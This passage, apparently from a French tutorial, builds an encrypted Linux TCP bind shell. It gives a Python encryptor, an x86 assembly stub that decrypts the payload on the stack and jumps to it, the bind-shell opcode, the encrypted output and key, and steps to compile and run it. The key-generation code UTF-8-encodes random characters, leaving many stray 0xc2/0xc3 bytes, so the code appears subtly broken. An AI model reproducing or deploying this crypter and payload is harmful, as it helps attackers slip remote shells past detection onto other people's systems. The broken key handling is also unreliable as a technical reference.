r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())

encrypted_shellcode = ""
plain_key = ""

for b in range(len(plain_shellcode)):
	enc_b = (plain_shellcode[b] + key[b]) & 255
	encrypted_shellcode += '%02x' % enc_b
	plain_key += '0x'+ '%02x' % key[b] + ','

print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)

Créez d'abord un "squelette":

	section .text
global _start

_start:
	; push encrypted shellcode
	<PUSH ENCRYPTED SHELLCODE>

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, <KEY LENGTH>

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db <CIPHER KEY>

Pour ce code, 3 choses sont nécessaires: instructions push avec shellcode encodé, longueur de clé et clé de cryptage elle-même. Nous chiffrons le shellcode TCP bind shell. Imprimez l'opcode:

$hexopcode bind_tcp_shell 
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

Nous allons le crypter:

$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105

Imprimez les instructions push pour notre résultat:

$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
	push 0x90909013
	push 0x8fb7726f
        ...

Remplissez tous les paramètres nécessaires dans le fichier asm.

	section .text
global _start

_start:
	; push encrypted shellcode
	push 0x90909013
	push 0x8fb7726f
	push 0x4cad864b
	push 0xbf09ba20
	push 0x2c13f1e5
	push 0x1e36bff2
	push 0x83a47bf3
	push 0x76b90c8f
	push 0xfa73b77f
	push 0x4c55318b
	push 0xab3cb9c5
	push 0x19874bc0
	push 0x750a73dd
	push 0x18da4250
	push 0xa338c711
	push 0xb1491492
	push 0x2d398f06
	push 0x35c54629
	push 0xe1d514c6
	push 0x2dfc14c5
	push 0xff29aecc
	push 0xb4f718cc
	push 0xac388f5d
	push 0xfb457228
	push 0x27b52d90
	push 0x2d6378f4
	push 0x8df4f24a

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, 105

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

Nous compilons:

$nasm32 encrypted_bind

Obtenez l'opcode du fichier:

$popcode encrypted_bind

Mettez tout cela dans shellcode.c, compilez-le et exécutez-le.

image

Références


Tous les liens vers des fichiers et des exemples peuvent être trouvés ici.

La source.

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